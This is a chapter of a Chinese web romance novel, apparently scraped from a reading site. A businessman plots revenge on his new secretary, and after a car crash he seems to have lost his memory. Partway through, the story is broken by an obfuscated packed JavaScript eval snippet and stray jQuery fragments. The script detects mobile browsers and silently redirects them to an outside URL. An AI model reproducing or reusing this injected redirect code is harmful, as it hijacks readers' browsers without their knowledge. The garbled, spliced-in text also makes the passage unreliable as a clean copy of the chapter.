19. 失忆了

作品:《我送霸总进监狱

    “你违约了。”


    红福莱餐厅的包厢,昏暗的光线下。


    巴雅珺端起高脚红酒杯,姿态优雅地小抿一口,脸上神情是与轻浮语调不相称的沉重。


    “我可以不插手你的私生活,但你也不能挑战我的底线。”


    当初两人的联姻,取决于她高傲的自尊心。


    父亲不经过她允许,擅自要与计峻奕攀亲,没料到遭拒绝。


    她承认计峻奕很优秀,但并不是每一个优秀的人她都得上赶着去攀交,她有她的骄傲。


    别人不稀罕与她深交,她也不乐意和人接触。


    各自保留各自的脾性,或许公共场合遇见了,还能客套又不失礼貌地打声招呼。


    父亲的一厢情愿毁了这一切。


    一夜之间,她成为圈子里口诛笔伐的对象。


    往日的高冷清贵成了装腔拿乔的手段,一切的做派不过是和大家一样,想借此提高格调,钓个金龟婿。


    金龟婿没钓成,反而成为圈子里的笑柄。


    刚开始一切只是谣传,父亲的恼羞成怒又恰好印证这一点。


    哪怕有十张嘴巴,她也辩解不清。


    气头上的她找到当时在餐饮业突飞猛进的青年才俊邱晏文。


    客观评价,凭借自身努力一步步跻身资本的邱晏文同样也很优秀,不过对比发力高端产业的计峻奕,邱晏文的快餐事业显得不那么上台面。


    她父亲很不喜欢。


    认为是邱晏文高攀。


    她也是同样的想法,但她不在意。


    正如父亲擅自给她攀亲时没经过她的同意一样,她决意和邱晏文联姻也不需要经过父亲的同意。


    这场联姻是她自己为自己找来的台阶。


    作为白手起家的邱晏文也很懂得借机攀升,欣然同意她的要求。


    富贵家庭成长起来的人不会相信所谓的爱情,一切都得以利益为先。真正能在商场上崭露头角的人,也没一个是省油的灯。


    所以,巴雅珺对这场联姻的本质有着深刻的认知。


    她不会去强求邱晏文一生一世一双人,对方怎么玩她都不在乎,唯独一点,该有的体面一定要留足。


    作为明面上订过婚的未婚妻,有人胆敢爬到她头上耀武扬威,那就是邱晏文的不是了。


    为了明确这种义务,她定了一个可检测的标准。


    邱晏文的副驾驶位不能坐别的女人。


    这是一件看上去很小的事,背后却是对邱晏文是否信守承诺的可视化考验。


    很遗憾,邱晏文没有通过这场考验。


    “我想我要重新考虑一下我们的婚礼。”


    “你不会。”


    对面的邱晏文只是淡淡扬起嘴角。


    “你比任何人都不希望取消婚礼,不然当初你也不会找上我,不是吗?”


    “你!”


    被戳中心事的巴雅珺恼羞成怒。


    “如果你认为这样就能拿捏我,那你想得太简单了,双输好过单赢,大不了鱼死网玻,我不好受,你也别想好过。”


    餐桌上,两人动作优雅。


    语言交锋却剑拔弩张。


    服务员的适时出现打断了争锋相对的氛围。


    一道凉拌大蒜被端了上来,放在大理石餐桌的正中央。


    与其他精美菜肴形成鲜明对比。


    巴雅珺眉头一皱。


    “怎么又有这道菜?”


    “我喜欢吃。”


    邱晏文毫不避讳自己的喜好,当着她的面将大蒜送进嘴里。


    这辈子巴雅珺最讨厌的味道就是大蒜的气味,偏偏邱晏文最喜欢。


    果然,两人根本不是同一个世界的人。


    闹掰也是正常的事。


    巴雅珺起身便走。


    邱晏文从身后叫住她:“或许,你可以听听我的理由,再决定要不要取消婚礼。”


    脚步声没停,继续朝外走了几步。


    片刻后,巴雅珺折返回来,直挺挺堵在邱晏文面前。


    质问:“什么理由?”


    邱晏文没回答。


    他掏出一份陈年病历递过去。


    巴雅珺不明所以。


    “这是什么?”


    “这是我父亲的病历单。”


    邱晏文的父亲在他发迹之前就已经过世,巴雅珺没见过,她只见过他的母亲谭佳茹,地地道道的一位农村妇女,即使打扮精致,也掩盖不了一副天生的土气。


    和爱吃大蒜的邱晏文一样,一眼可以看透出身不高。


    “你拿出你父亲的病历单是什么意思?”


    邱晏文吃完一盘凉拌大蒜,不慌不忙放下筷子。


    “我父亲生了一场重病,只要凑够钱,其实可以医治,原本欠钱的人答应归还,后面拖了很久,生生拖走了我父亲最佳治疗时期,才不情不愿送来钱,可惜已经晚了。你猜猜,那个欠钱的人是谁。”


    巴雅珺疑惑地眯起双眼。


    “新来的秘书叫做边芮,那个欠钱的人是她父亲边德豪。”


    “所以……”巴雅珺恍然大悟,“你要报复?”


    “你猜得没错。”


    邱晏文拿白帕轻轻擦了擦嘴唇,又递了一份文件给她。


    接过一瞧,是一份详细的复仇计划。


    望着资料上针对边芮的全部详细信息调查,巴雅珺不寒而栗。


    “按着你的计划,边芮会彻底断送职业生涯,说不定还得进去蹲两年,你真要这么对她?”


    邱晏文站起身,夺过复仇计划文件。


    哂笑:“没让她以命抵命,已经算我仁慈了。”


    “那你准备什么时候实施计划。”


    “一个月后,至少要让她对我先产生基本的信任。”


    原来如此。


    原来这就是邱晏文对这位新秘书格外优待的原因。


    饭局过后,巴雅珺再没提取消婚礼的事情。


    一切又都回归平静。


    肖红望眼欲穿。


    本以为搬动邱总的正牌未婚妻出山,能让边芮长长教训,没想到说着要与邱总算账的巴雅珺,在一顿饭后彻底没了声。


    怎么回事,难道连准老板娘也无法与新秘书抗衡吗?


    肖红很是消沉。


    邱晏文无心关注她的消沉,他现在的心思全部放在边芮身上。


    复仇计划的进度比他想象中慢多了。


    原因出在边芮身上。


    不知道是否是错觉,边芮似乎有意无意抗拒他的接近。


    这不是好兆头。


    对方防备心太重,计划就没法好好实施了。


    为确保计划万无一失,邱晏文翻动着行程表,企图制造一些相处机会增加两人之间的信任。


    办公室的人各怀鬼胎。


    边芮也不例外。


    这接近一个月的时间里,邱总对她态度和善,极尽维护,与她的两位脾气古怪的前任上司完全不一样。


    但很奇怪。


    她无法信任邱总。


    作为一名秘书,居然无法信任自己的顶头上司,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122525|195591||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这正常吗。


    “边秘书,下午与我一起去趟分公司。”想着心事的边芮被委派了任务。


    “好的。”


    她开始起身收拾文件。


    分公司离总部距离很远。


    分属城市的两端。


    100公里的距离,开车接近两个钟头。


    通常这样长时间的行程,邱晏文会指派司机掌舵,然后靠在椅背小憩。


    以免耗费太多精力。


    边芮很识趣地与他一起坐在后排。


    后排空间很是宽敞,两座之间可以塞得下三个人。


    即便如此,边芮还是不动声色往车窗方向挪了挪。


    这点细小的动静引起旁边人的注意。


    “边秘书,我很可怕吗?”


    旁边的人双眼仍旧闭着,声音很轻。


    边芮偷偷打量他几眼,内心点头如捣蒜,嘴里麻溜地否认。


    “不可怕。”


    噗——


    一声极轻的笑意从身边传来。


    “有时候我觉得你很聪明,边秘书,你是在和我装傻吗?”


    这句话有点莫名其妙。


    边芮没听太懂。


    “抱歉,邱总,我脑子笨,你可不可以……”把话说明白些。


    一句话没讲完,车子突然的抖动吞掉了她的下半句。


    随后是划破天际的一声急刹。


    剧烈的颠簸猛然袭来,失重的摇晃感包裹全身,让人如坠云端。


    恐惧与害怕的情绪甚至来不及蔓延。


    一切发生得那样迅速,让人毫无防备。


    车翻了。


    没有任何预兆,车身180度倒翻。


    顷刻间天昏地暗。


    闭上眼之前,边芮绝望地想。


    可能这次要死翘翘。


    所以,当她躺在医院里,睁开第一眼看到顶上洁白的天花板时,心里无比庆幸。


    还活着,真好。


    她动了动四肢。


    都有知觉,真好。


    又摸了摸脸蛋。


    没有破相,真好。


    挣扎着起身,上下左右一打量,全身连个绷带都没有。


    根本看不到伤势。


    甚至可以当场下地走路。


    看来老天还是保佑了她,有惊无险度过了一场车祸。


    俗话讲,大难不死必有后福。


    她的福气肯定在后头。


    等等,邱总呢?


    死里逃生的边芮终于想起车里坐着的不只她一人。


    还有她的顶头上司与专车司机。


    一同被送进医院的三人分属在相连的三间病房。


    边芮在左边病房看到了相安无事的司机,又在右边病床里一眼看到端坐在病床上完好无损的邱晏文。


    心里松了一口气。


    万幸,真是万幸啊!


    “还好大家都没什么大问题。”


    “其实有点问题。”一旁替邱晏文检查身体的医生一脸凝重地提醒。


    边芮一愣。


    “什么问题?”


    “他失忆了。”


    边芮:?


    “什么!!”


    不可能吧!


    她不可思议地拿五指在邱晏文无法聚焦的目光前晃了晃。


    满脸担忧:“你还记得我吗?”


    闻言,呆坐在病床上的邱晏文抬眸。


    茫然地看向面前的女人。


    “你是一个人来看我的人,所以,你是我未婚妻吗?”